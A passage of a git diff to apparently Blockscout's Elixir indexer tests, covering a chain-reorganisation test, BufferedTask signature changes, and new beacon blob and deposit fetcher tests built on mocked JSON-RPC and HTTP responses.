jsonrpc: "2.0", + method: "trace_replayBlockTransactions", + params: [ + "0x3C3660", + ["trace"] + ] + }, + %{ + id: 1, + jsonrpc: "2.0", + method: "trace_replayBlockTransactions", + params: [ + "0x3C365F", + ["trace"] + ] + } + ], + _ -> + {:ok, + [ + %{id: 0, jsonrpc: "2.0", result: []}, + %{ + id: 1, + jsonrpc: "2.0", + result: [] + } + ]} + end) + end + + validator_1_address_hash = validator_1.address_hash + validator_2_address_hash = validator_2.address_hash + + assert {:ok, + %{ + inserted: %{ + blocks: [%Chain.Block{number: 3_946_079}, %Chain.Block{number: 3_946_080}], + stability_validators: [ + %Explorer.Chain.Stability.Validator{ + address_hash: ^validator_1_address_hash, + blocks_validated: blocks_validated_1 + }, + %Explorer.Chain.Stability.Validator{ + address_hash: ^validator_2_address_hash, + blocks_validated: blocks_validated_2 + } + ] + }, + errors: [] + }} = Indexer.Block.Fetcher.fetch_and_import_range(block_fetcher, 3_946_079..3_946_080) + + validator_from_db = Repo.get!(Explorer.Chain.Stability.Validator, validator_1.address_hash) + assert validator_from_db.blocks_validated == blocks_validated_1 + assert validator_from_db.blocks_validated == validator_1.blocks_validated + 1 + + validator_from_db = Repo.get!(Explorer.Chain.Stability.Validator, validator_2.address_hash) + assert validator_from_db.blocks_validated == blocks_validated_2 + assert validator_from_db.blocks_validated == validator_2.blocks_validated + 1 + end + end + end + + describe "start_fetch_and_import" do + @tag :no_geth + test "reorg", %{ + block_fetcher: block_fetcher, + json_rpc_named_arguments: json_rpc_named_arguments + } do + initial_env = Application.get_all_env(:indexer) + + on_exit(fn -> + Application.delete_env(:indexer, UncleBlock.Supervisor) + Application.put_all_env([{:indexer, initial_env}]) + end) + + Application.put_env(:indexer, :fetch_rewards_way, "manual") + Application.put_env(:indexer, InternalTransaction.Supervisor, disabled?: true) + Application.put_env(:indexer, UncleBlock.Supervisor, disabled?: true) + + start_supervised!({Task.Supervisor, name: Realtime.TaskSupervisor}) + + Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + ReplacedTransaction.Supervisor.Case.start_supervised!() + + block_1_data = %{ + "author" => "0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd583010b088650617269747986312e32372e32826c69", + "gasLimit" => "0x7a1200", + "gasUsed" => "0x2886e", + "hash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", + "number" => "0x3c365f", + "parentHash" => "0x57f6d66e07488defccd5216c4d2968dd6afd3bd32415e284de3b02af6535e8dc", + "receiptsRoot" => "0x111be72e682cea9c93e02f1ef503fb64aa821b2ef510fd9177c49b37d0af98b5", + "sealFields" => [ + "0x841246c63f", + "0xb841ba3d11db672fd7893d1b7906275fa7c4c7f4fbcc8fa29eab0331480332361516545ef10a36d800ad2be2b449dde8d5703125156a9cf8a035f5a8623463e051b700" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "ba3d11db672fd7893d1b7906275fa7c4c7f4fbcc8fa29eab0331480332361516545ef10a36d800ad2be2b449dde8d5703125156a9cf8a035f5a8623463e051b700", + "size" => "0x33e", + "stateRoot" => "0x7f73f5fb9f891213b671356126c31e9795d038844392c7aa8800ed4f52307209", + "step" => "306628159", + "timestamp" => "0x5b61df3b", + "totalDifficulty" => "0x3c365effffffffffffffffffffffffed7f0362", + "transactions" => [], + "transactionsRoot" => "0xd7c39a93eafe0bdcbd1324c13dcd674bed8c9fa8adbf8f95bf6a59788985da6f", + "uncles" => ["0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cd"] + } + + block_2_data = %{ + "author" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd583010a068650617269747986312e32362e32826c69", + "gasLimit" => "0x7a1200", + "gasUsed" => "0x0", + "hash" => "0xfb483e511d316fa4072694da3f7abc94b06286406af45061e5e681395bdc6815", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", + "number" => "0x3c3660", + "parentHash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x841246c640", + "0xb84114db3fd7526b7ea3635f5c85c30dd8a645453aa2f8afe5fd33fe0ec663c9c7b653b0fb5d8dc7d0b809674fa9dca9887d1636a586bf62191da22255eb068bf20800" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "14db3fd7526b7ea3635f5c85c30dd8a645453aa2f8afe5fd33fe0ec663c9c7b653b0fb5d8dc7d0b809674fa9dca9887d1636a586bf62191da22255eb068bf20800", + "size" => "0x243", + "stateRoot" => "0x3174c461989e9f99e08fa9b4ffb8bce8d9a281c8fc9f80694bb9d3acd4f15559", + "step" => "306628160", + "timestamp" => "0x5b61df40", + "totalDifficulty" => "0x3c365fffffffffffffffffffffffffed7f0360", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + + reorg_block_1_data = + Map.put(block_1_data, "hash", "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cd") + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + EthereumJSONRPC.Mox + |> expect(:json_rpc, 6, fn [ %{ id: 0, jsonrpc: "2.0", - method: "trace_replayBlockTransactions", - params: [ - "0x3C3660", - ["trace"] - ] - }, - %{ - id: 1, - jsonrpc: "2.0", - method: "trace_replayBlockTransactions", - params: [ - "0x3C365F", - ["trace"] - ] + method: "eth_getBlockByNumber", + params: ["0x3C365F", true] } ], _ -> {:ok, [ - %{id: 0, jsonrpc: "2.0", result: []}, %{ - id: 1, + id: 0, jsonrpc: "2.0", - result: [ - %{ - "output" => "0x", - "stateDiff" => nil, - "trace" => [ - %{ - "action" => %{ - "callType" => "call", - "from" => "0x40b18103537c0f15d5e137dd8ddd019b84949d16", - "gas" => "0x383ad", - "input" => - "0x8841ac11000000000000000000000000000000000000000000000000000000000000006c000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000005", - "to" => "0x698bf6943bab687b2756394624aa183f434f65da", - "value" => "0x1158e4f216242a000" - }, - "result" => %{"gasUsed" => "0x23256", "output" => "0x"}, - "subtraces" => 5, - "traceAddress" => [], - "type" => "call" - }, - %{ - "action" => %{ - "callType" => "call", - "from" => "0x698bf6943bab687b2756394624aa183f434f65da", - "gas" => "0x36771", - "input" => "0x6352211e000000000000000000000000000000000000000000000000000000000000006c", - "to" => "0x11c4469d974f8af5ba9ec99f3c42c07c848c861c", - "value" => "0x0" - }, - "result" => %{ - "gasUsed" => "0x495", - "output" => "0x00000000000000000000000040b18103537c0f15d5e137dd8ddd019b84949d16" - }, - "subtraces" => 0, - "traceAddress" => [0], - "type" => "call" - }, - %{ - "action" => %{ - "callType" => "call", - "from" => "0x698bf6943bab687b2756394624aa183f434f65da", - "gas" => "0x35acb", - "input" => "0x33f30a43000000000000000000000000000000000000000000000000000000000000006c", - "to" => "0x11c4469d974f8af5ba9ec99f3c42c07c848c861c", - "value" => "0x0" - }, - "result" => %{ - "gasUsed" => "0x52d2", - "output" => - "0x00000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000058000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000004e000000000000000000000000000000000000000000000000000000000000004f000000000000000000000000000000000000000000000000000000000000004d000000000000000000000000000000000000000000000000000000000000004b000000000000000000000000000000000000000000000000000000000000004f00000000000000000000000000000000000000000000000000000000000000b000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000044000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000078000000000000000000000000000000000000000000000000000000005b61df09000000000000000000000000000000000000000000000000000000005b61df5e000000000000000000000000000000000000000000000000000000005b61df8b000000000000000000000000000000000000000000000000000000005b61df2c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006c00000000000000000000000000000000000000000000000000000000000000fd000000000000000000000000000000000000000000000000000000000000004e000000000000000000000000000000000000000000000000000000000000007a000000000000000000000000000000000000000000000000000000000000004e0000000000000000000000000000000000000000000000000000000000000015000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000189000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054c65696c61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002566303430313037303331343330303332333036303933333235303131323036303730373131000000000000000000000000000000000000000000000000000000" - }, - "subtraces" => 0, - "traceAddress" => [1], - "type" => "call" - }, - %{ - "action" => %{ - "callType" => "call", - "from" => "0x698bf6943bab687b2756394624aa183f434f65da", - "gas" => "0x2fc79", - "input" => "0x1b8ef0bb000000000000000000000000000000000000000000000000000000000000006c", - "to" => "0x11c4469d974f8af5ba9ec99f3c42c07c848c861c", - "value" => "0x0" - }, - "result" => %{ - "gasUsed" => "0x10f2", - "output" => "0x0000000000000000000000000000000000000000000000000000000000000013" - }, - "subtraces" => 0, - "traceAddress" => [2], - "type" => "call" - }, - %{ - "action" => %{ - "callType" => "call", - "from" => "0x698bf6943bab687b2756394624aa183f434f65da", - "gas" => "0x2e21f", - "input" => - "0xcf5f87d0000000000000000000000000000000000000000000000000000000000000006c0000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000a", - "to" => "0x11c4469d974f8af5ba9ec99f3c42c07c848c861c", - "value" => "0x0" - }, - "result" => %{"gasUsed" => "0x1ca1", "output" => "0x"}, - "subtraces" => 0, - "traceAddress" => [3], - "type" => "call" - }, - %{ - "action" => %{ - "callType" => "call", - "from" => "0x698bf6943bab687b2756394624aa183f434f65da", - "gas" => "0x8fc", - "input" => "0x", - "to" => "0x40b18103537c0f15d5e137dd8ddd019b84949d16", - "value" => "0x9184e72a000" - }, - "result" => %{"gasUsed" => "0x0", "output" => "0x"}, - "subtraces" => 0, - "traceAddress" => [4], - "type" => "call" - } - ], - "transactionHash" => "0xd3937e70fab3fb2bfe8feefac36815408bf07de3b9e09fe81114b9a6b17f55c8", - "vmTrace" => nil - } - ] + result: block_1_data } ]} @@ -967,88 +1253,97 @@ defmodule Indexer.Block.Realtime.FetcherTest do %{ id: 0, jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x40b18103537c0f15d5e137dd8ddd019b84949d16", "0x3C365F"] - }, + method: "eth_getBlockByNumber", + params: ["0x3C3660", true] + } + ], + _ -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: block_2_data + } + ]} + + [ %{ - id: 1, + id: 0, jsonrpc: "2.0", method: "eth_getBalance", params: ["0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", "0x3C365F"] - }, + } + ], + _ -> + {:ok, [%{id: 0, jsonrpc: "2.0", result: "0x53474fa377a46000"}]} + + [ %{ - id: 2, + id: 0, jsonrpc: "2.0", method: "eth_getBalance", params: ["0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", "0x3C3660"] - }, + } + ], + _ -> + {:ok, [%{id: 0, jsonrpc: "2.0", result: "0x53507afe51f28000"}]} + end) + |> expect(:json_rpc, 3, fn + [ %{ - id: 3, + id: 0, jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x698bf6943bab687b2756394624aa183f434f65da", "0x3C365F"] + method: "eth_getBlockByNumber", + params: ["0x3C365F", true] } ], _ -> {:ok, [ - %{id: 0, jsonrpc: "2.0", result: "0x148adc763b603291685"}, - %{id: 1, jsonrpc: "2.0", result: "0x53474fa377a46000"}, - %{id: 2, jsonrpc: "2.0", result: "0x53507afe51f28000"}, - %{id: 3, jsonrpc: "2.0", result: "0x3e1a95d7517dc197108"} + %{ + id: 0, + jsonrpc: "2.0", + result: reorg_block_1_data + } ]} + + [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBalance", + params: ["0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", "0x3C365F"] + } + ], + _ -> + {:ok, [%{id: 0, jsonrpc: "2.0", result: "0x53474fa377a46000"}]} end) end - first_expected_reward = %Wei{value: Decimal.new(165_998_000_000_000)} - second_expected_reward = %Wei{value: Decimal.new(0)} + Realtime.Fetcher.start_fetch_and_import(3_946_080, block_fetcher, 3_946_078) + Process.sleep(1000) - assert {:ok, - %{ - inserted: %{ - addresses: [ - %Address{hash: first_address_hash, fetched_coin_balance_block_number: 3_946_079}, - %Address{hash: second_address_hash, fetched_coin_balance_block_number: 3_946_079}, - %Address{hash: third_address_hash, fetched_coin_balance_block_number: 3_946_080}, - %Address{hash: fourth_address_hash, fetched_coin_balance_block_number: 3_946_079} - ], - address_coin_balances: [ - %{ - address_hash: first_address_hash, - block_number: 3_946_079 - }, - %{ - address_hash: second_address_hash, - block_number: 3_946_079 - }, - %{ - address_hash: third_address_hash, - block_number: 3_946_080 - }, - %{ - address_hash: fourth_address_hash, - block_number: 3_946_079 - } - ], - block_rewards: [ - %{ - address_hash: second_address_hash, - address_type: :validator, - reward: ^first_expected_reward - }, - %{ - address_hash: third_address_hash, - address_type: :validator, - reward: ^second_expected_reward - } - ], - blocks: [%Chain.Block{number: 3_946_079}, %Chain.Block{number: 3_946_080}], - transactions: [%Transaction{hash: _transaction_hash}] - }, - errors: [] - }} = Indexer.Block.Fetcher.fetch_and_import_range(block_fetcher, 3_946_079..3_946_080) + result_blocks = Explorer.Repo.all(Chain.Block) + assert [%{consensus: true}, %{consensus: true}] = result_blocks - Application.put_env(:indexer, :fetch_rewards_way, nil) + block_1 = Enum.find(result_blocks, fn block -> block.number == 3_946_079 end) + block_2 = Enum.find(result_blocks, fn block -> block.number == 3_946_080 end) + assert to_string(block_1.hash) == block_1_data["hash"] + assert to_string(block_2.hash) == block_2_data["hash"] + + Realtime.Fetcher.start_fetch_and_import(3_946_079, block_fetcher, 3_946_080) + Process.sleep(6000) + + result_blocks = Explorer.Repo.all(Chain.Block) + assert Enum.count(result_blocks) == 3 + + block_1_old = Enum.find(result_blocks, fn block -> to_string(block.hash) == block_1_data["hash"] end) + block_2_old = Enum.find(result_blocks, fn block -> to_string(block.hash) == block_2_data["hash"] end) + block_1_new = Enum.find(result_blocks, fn block -> to_string(block.hash) == reorg_block_1_data["hash"] end) + assert %{consensus: false} = block_1_old + assert %{consensus: false} = block_2_old + assert %{consensus: true} = block_1_new end end end diff --git a/apps/indexer/test/indexer/buffered_task_test.exs b/apps/indexer/test/indexer/buffered_task_test.exs index 7e30c484d849..22722ccea8bf 100644 --- a/apps/indexer/test/indexer/buffered_task_test.exs +++ b/apps/indexer/test/indexer/buffered_task_test.exs @@ -3,7 +3,8 @@ defmodule Indexer.BufferedTaskTest do import Mox - alias Indexer.{BoundQueue, BufferedTask} + alias Explorer.BoundQueue + alias Indexer.BufferedTask alias Indexer.BufferedTaskTest.{RetryableTask, ShrinkableTask} @max_batch_size 2 @@ -28,7 +29,8 @@ defmodule Indexer.BufferedTaskTest do task_supervisor: BufferedTaskSup, flush_interval: @flush_interval, max_batch_size: max_batch_size, - max_concurrency: 2} + max_concurrency: 2, + poll: false} ]} ) end @@ -73,13 +75,13 @@ defmodule Indexer.BufferedTaskTest do refute_receive _ - BufferedTask.buffer(buffer, ~w(12 13 14 15 16)) + BufferedTask.buffer(buffer, ~w(12 13 14 15 16), false) assert_receive {:run, ~w(12 13)}, @assert_receive_timeout assert_receive {:run, ~w(14 15)}, @assert_receive_timeout assert_receive {:run, ~w(16)}, @assert_receive_timeout refute_receive _ - BufferedTask.buffer(buffer, ~w(17)) + BufferedTask.buffer(buffer, ~w(17), false) assert_receive {:run, ~w(17)}, @assert_receive_timeout refute_receive _ end @@ -89,7 +91,7 @@ defmodule Indexer.BufferedTaskTest do {:ok, buffer} = start_buffer(EmptyTask) refute_receive _ - BufferedTask.buffer(buffer, ~w(some more entries)) + BufferedTask.buffer(buffer, ~w(some more entries), false) assert_receive {:run, ~w(some more)}, @assert_receive_timeout assert_receive {:run, ~w(entries)}, @assert_receive_timeout @@ -112,7 +114,7 @@ defmodule Indexer.BufferedTaskTest do Process.register(self(), RetryableTask) {:ok, buffer} = start_buffer(RetryableTask) - BufferedTask.buffer(buffer, [:boom]) + BufferedTask.buffer(buffer, [:boom], false) assert_receive {:run, {0, [:boom]}}, @assert_receive_timeout assert_receive {:run, {1, [:boom]}}, @assert_receive_timeout refute_receive _ @@ -149,7 +151,7 @@ defmodule Indexer.BufferedTaskTest do Process.register(self(), RetryableTask) {:ok, buffer} = start_buffer(RetryableTask) - BufferedTask.buffer(buffer, [1, 2, 3]) + BufferedTask.buffer(buffer, [1, 2, 3], false) assert_receive {:run, {0, [1, 2]}}, @assert_receive_timeout assert_receive {:run, {0, [3]}}, @assert_receive_timeout assert_receive {:run, {1, [1, 2]}}, @assert_receive_timeout @@ -171,9 +173,9 @@ defmodule Indexer.BufferedTaskTest do assert %{buffer: 0, tasks: 0} = BufferedTask.debug_count(buffer) - BufferedTask.buffer(buffer, [{:sleep, 1_000}]) - BufferedTask.buffer(buffer, [{:sleep, 1_000}]) - BufferedTask.buffer(buffer, [{:sleep, 1_000}]) + BufferedTask.buffer(buffer, [{:sleep, 1_000}], false) + BufferedTask.buffer(buffer, [{:sleep, 1_000}], false) + BufferedTask.buffer(buffer, [{:sleep, 1_000}], false) Process.sleep(200) assert %{buffer: buffer, tasks: tasks} = BufferedTask.debug_count(buffer) @@ -187,6 +189,10 @@ defmodule Indexer.BufferedTaskTest do refute BoundQueue.shrunk?(bound_queue) + stub(ShrinkableTask, :run, fn _, _ -> + :ok + end) + assert {:noreply, %BufferedTask{flush_timer: flush_timer}} = BufferedTask.handle_info(:flush, %BufferedTask{ callback_module: ShrinkableTask, @@ -211,6 +217,10 @@ defmodule Indexer.BufferedTaskTest do start_supervised!({Task.Supervisor, name: BufferedTaskSup}) + stub(ShrinkableTask, :run, fn _, _ -> + :ok + end) + assert {:noreply, %BufferedTask{flush_timer: flush_timer}} = BufferedTask.handle_info(:flush, %BufferedTask{ callback_module: ShrinkableTask, @@ -242,7 +252,8 @@ defmodule Indexer.BufferedTaskTest do flush_timer: nil, task_supervisor: BufferedTaskSup, max_batch_size: 1, - max_concurrency: 1 + max_concurrency: 1, + poll: false }) refute flush_timer == nil diff --git a/apps/indexer/test/indexer/fetcher/beacon/blob_test.exs b/apps/indexer/test/indexer/fetcher/beacon/blob_test.exs new file mode 100644 index 000000000000..ac95ef1e34cc --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/beacon/blob_test.exs @@ -0,0 +1,170 @@ +defmodule Indexer.Fetcher.Beacon.BlobTest do + use Explorer.DataCase, async: false + + import Mox + + alias Explorer.Chain.Transaction + alias Explorer.Chain.Beacon.{Blob, Reader} + alias Indexer.Fetcher.Beacon.Blob.Supervisor, as: BlobSupervisor + + setup :verify_on_exit! + setup :set_mox_global + + if Application.compile_env(:explorer, :chain_type) == :ethereum do + describe "init/1" do + setup do + initial_env = Application.get_env(:indexer, BlobSupervisor) + Application.put_env(:indexer, BlobSupervisor, initial_env |> Keyword.put(:disabled?, false)) + + on_exit(fn -> + Application.put_env(:indexer, BlobSupervisor, initial_env) + end) + end + + test "fetches all missed blob transactions" do + {:ok, now, _} = DateTime.from_iso8601("2024-01-24 00:00:00Z") + block_a = insert(:block, timestamp: now) + block_b = insert(:block, timestamp: now |> Timex.shift(seconds: -120)) + block_c = insert(:block, timestamp: now |> Timex.shift(seconds: -240)) + + blob_a = build(:blob) + blob_b = build(:blob) + blob_c = build(:blob) + blob_d = insert(:blob) + + %Transaction{hash: transaction_a_hash} = insert(:transaction, type: 3) |> with_block(block_a) + %Transaction{hash: transaction_b_hash} = insert(:transaction, type: 3) |> with_block(block_b) + %Transaction{hash: transaction_c_hash} = insert(:transaction, type: 3) |> with_block(block_c) + + insert(:blob_transaction, hash: transaction_a_hash, blob_versioned_hashes: [blob_a.hash, blob_b.hash]) + insert(:blob_transaction, hash: transaction_b_hash, blob_versioned_hashes: [blob_c.hash]) + insert(:blob_transaction, hash: transaction_c_hash, blob_versioned_hashes: [blob_d.hash]) + + assert {:error, :not_found} = Reader.blob(blob_a.hash, true) + assert {:error, :not_found} = Reader.blob(blob_b.hash, true) + assert {:error, :not_found} = Reader.blob(blob_c.hash, true) + assert {:ok, _} = Reader.blob(blob_d.hash, true) + + result_ab = """ + { + "data": [ + { + "index": "0", + "blob": "#{to_string(blob_a.blob_data)}", + "kzg_commitment": "#{to_string(blob_a.kzg_commitment)}", + "kzg_proof": "#{to_string(blob_a.kzg_proof)}" + }, + { + "index": "1", + "blob": "#{to_string(blob_b.blob_data)}", + "kzg_commitment": "#{to_string(blob_b.kzg_commitment)}", + "kzg_proof": "#{to_string(blob_b.kzg_proof)}" + } + ] + } + """ + + result_c = """ + { + "data": [ + { + "index": "0", + "blob": "#{to_string(blob_c.blob_data)}", + "kzg_commitment": "#{to_string(blob_c.kzg_commitment)}", + "kzg_proof": "#{to_string(blob_c.kzg_proof)}" + } + ] + } + """ + + Tesla.Test.expect_tesla_call( + times: 2, + returns: fn %{url: url}, _opts -> + case url do + "http://localhost:5052/eth/v1/beacon/blob_sidecars/8269188" -> + {:ok, %Tesla.Env{status: 200, body: result_c}} + + "http://localhost:5052/eth/v1/beacon/blob_sidecars/8269198" -> + {:ok, %Tesla.Env{status: 200, body: result_ab}} + end + end + ) + + BlobSupervisor.Case.start_supervised!() + + wait_for_results(fn -> + Repo.one!(from(blob in Blob, where: blob.hash == ^blob_a.hash)) + end) + + assert {:ok, _} = Reader.blob(blob_a.hash, true) + assert {:ok, _} = Reader.blob(blob_b.hash, true) + assert {:ok, _} = Reader.blob(blob_c.hash, true) + assert {:ok, _} = Reader.blob(blob_d.hash, true) + end + end + + describe "async_fetch/1" do + setup do + initial_env = Application.get_env(:indexer, BlobSupervisor) + Application.put_env(:indexer, BlobSupervisor, initial_env |> Keyword.put(:disabled?, false)) + + on_exit(fn -> + Application.put_env(:indexer, BlobSupervisor, initial_env) + end) + end + + test "fetches blobs for block timestamp" do + {:ok, now, _} = DateTime.from_iso8601("2024-01-24 00:00:00Z") + block_a = insert(:block, timestamp: now) + + %Blob{ + hash: blob_hash_a, + blob_data: blob_data_a, + kzg_commitment: kzg_commitment_a, + kzg_proof: kzg_proof_a + } = build(:blob) + + result_a = """ + { + "data": [ + { + "index": "0", + "blob": "#{to_string(blob_data_a)}", + "kzg_commitment": "#{to_string(kzg_commitment_a)}", + "kzg_proof": "#{to_string(kzg_proof_a)}" + } + ] + } + """ + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:5052/eth/v1/beacon/blob_sidecars/8269198"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: result_a + }} + end + ) + + BlobSupervisor.Case.start_supervised!() + + assert :ok = Indexer.Fetcher.Beacon.Blob.async_fetch([block_a.timestamp], false) + + wait_for_results(fn -> + Repo.one!(from(blob in Blob, where: blob.hash == ^blob_hash_a)) + end) + + assert {:ok, blob} = Reader.blob(blob_hash_a, true) + + assert %{ + hash: ^blob_hash_a, + blob_data: ^blob_data_a, + kzg_commitment: ^kzg_commitment_a, + kzg_proof: ^kzg_proof_a + } = blob + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/beacon/deposit/status_test.exs b/apps/indexer/test/indexer/fetcher/beacon/deposit/status_test.exs new file mode 100644 index 000000000000..e6b1ff3113d2 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/beacon/deposit/status_test.exs @@ -0,0 +1,129 @@ +defmodule Indexer.Fetcher.Beacon.Deposit.StatusTest do + use Explorer.DataCase, async: false + + import Mox + import Ecto.Query + + alias Explorer.Chain.Beacon.Deposit + alias Explorer.Chain.Wei + alias Indexer.Fetcher.Beacon.Deposit.Status, as: StatusFetcher + alias Indexer.Fetcher.Beacon.Deposit.Status.Supervisor, as: StatusSupervisor + + setup :verify_on_exit! + setup :set_mox_global + + if Application.compile_env(:explorer, :chain_type) == :ethereum do + @epoch_duration 384 + + setup do + initial_supervisor_env = Application.get_env(:indexer, StatusSupervisor) + initial_fetcher_env = Application.get_env(:indexer, StatusFetcher) + + Application.put_env(:indexer, StatusSupervisor, initial_supervisor_env |> Keyword.put(:disabled?, false)) + + Application.put_env( + :indexer, + StatusFetcher, + initial_fetcher_env |> Keyword.merge(epoch_duration: @epoch_duration, reference_timestamp: 1_722_024_023) + ) + + on_exit(fn -> + Application.put_env(:indexer, StatusSupervisor, initial_supervisor_env) + Application.put_env(:indexer, StatusFetcher, initial_fetcher_env) + end) + end + + describe "handle_info(:fetch_queued_deposits, _state)" do + test "marks deposits as completed" do + # 12405630 + deposit_a = + insert(:beacon_deposit, + status: :invalid, + amount: 1 |> Decimal.new() |> Wei.from(:gwei), + block_timestamp: DateTime.from_unix!(1_755_691_583) + ) + + # 12405631 + deposit_b = + insert(:beacon_deposit, + status: :pending, + amount: 2 |> Decimal.new() |> Wei.from(:gwei), + block_timestamp: DateTime.from_unix!(1_755_691_595) + ) + + # 12405633 + deposit_c = + insert(:beacon_deposit, + status: :pending, + amount: 3 |> Decimal.new() |> Wei.from(:gwei), + block_timestamp: DateTime.from_unix!(1_755_691_619) + ) + + # 12405634 + _deposit_d = + insert(:beacon_deposit, + status: :pending, + amount: 4 |> Decimal.new() |> Wei.from(:gwei), + block_timestamp: DateTime.from_unix!(1_755_691_631) + ) + + pending_deposits_result = + """ + { + "execution_optimistic": false, + "finalized": false, + "data": [ + { + "pubkey": "#{deposit_a.pubkey}", + "withdrawal_credentials": "#{deposit_a.withdrawal_credentials}", + "amount": "#{deposit_a.amount |> Wei.to(:gwei)}", + "signature": "#{deposit_a.signature}", + "slot": "12405630" + }, + { + "pubkey": "#{deposit_b.pubkey}", + "withdrawal_credentials": "#{deposit_b.withdrawal_credentials}", + "amount": "#{deposit_b.amount |> Wei.to(:gwei)}", + "signature": "#{deposit_b.signature}", + "slot": "12405631" + }, + { + "pubkey": "#{deposit_c.pubkey}", + "withdrawal_credentials": "#{deposit_c.withdrawal_credentials}", + "amount": "#{deposit_c.amount |> Wei.to(:gwei)}", + "signature": "#{deposit_c.signature}", + "slot": "12405633" + }, + { + "pubkey": "0xb257656f0a024a5c3be175a3bafd96cfcc452544b0fc6a23bbc39381028a28c10e8bafe6119c34771b5d86c9cae559e5", + "withdrawal_credentials": "0x01000000000000000000000082ce3e15a02e6a2e5a677d9700fe1390efead8eb", + "amount": "32000000000", + "signature": "0xb12eb9bddaf201aac73fb5ba9972ed06093c95a8baa1b5adcf1936ae7f33b0033c34d9e4756567c0424529e2de6774230274b015dfbe848e24a962a8748ea6229a8a87825f979e17d5e66f0246fb5eeb180e318c6574c22339f1cbcf5408a8dd", + "slot": "12405634" + } + ] + } + """ + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:5052/eth/v1/beacon/states/head/pending_deposits"}, _opts -> + {:ok, %Tesla.Env{status: 200, body: pending_deposits_result}} + end + ) + + {:noreply, timer} = StatusFetcher.handle_info(:fetch_queued_deposits, nil) + + # if next scheduled call is later than epoch duration something is wrong + assert Process.read_timer(timer) / 1000 <= @epoch_duration + 1 + + assert [ + %Deposit{status: :invalid}, + %Deposit{status: :pending}, + %Deposit{status: :pending}, + %Deposit{status: :completed} + ] = Repo.all(from(d in Deposit, order_by: [asc: d.index])) + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/beacon/deposit_test.exs b/apps/indexer/test/indexer/fetcher/beacon/deposit_test.exs new file mode 100644 index 000000000000..96cf17e22a48 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/beacon/deposit_test.exs @@ -0,0 +1,550 @@ +defmodule Indexer.Fetcher.Beacon.DepositTest do + use Explorer.DataCase, async: false + + import ExUnit.CaptureLog, only: [capture_log: 1] + import Mox + import Ecto.Query + + alias Explorer.Chain.Beacon.Deposit + alias Indexer.Fetcher.Beacon.Deposit.Supervisor, as: DepositSupervisor + alias Indexer.Fetcher.Beacon.Deposit, as: DepositFetcher + + setup :verify_on_exit! + setup :set_mox_global + + if Application.compile_env(:explorer, :chain_type) == :ethereum do + setup do + initial_supervisor_env = Application.get_env(:indexer, DepositSupervisor) + 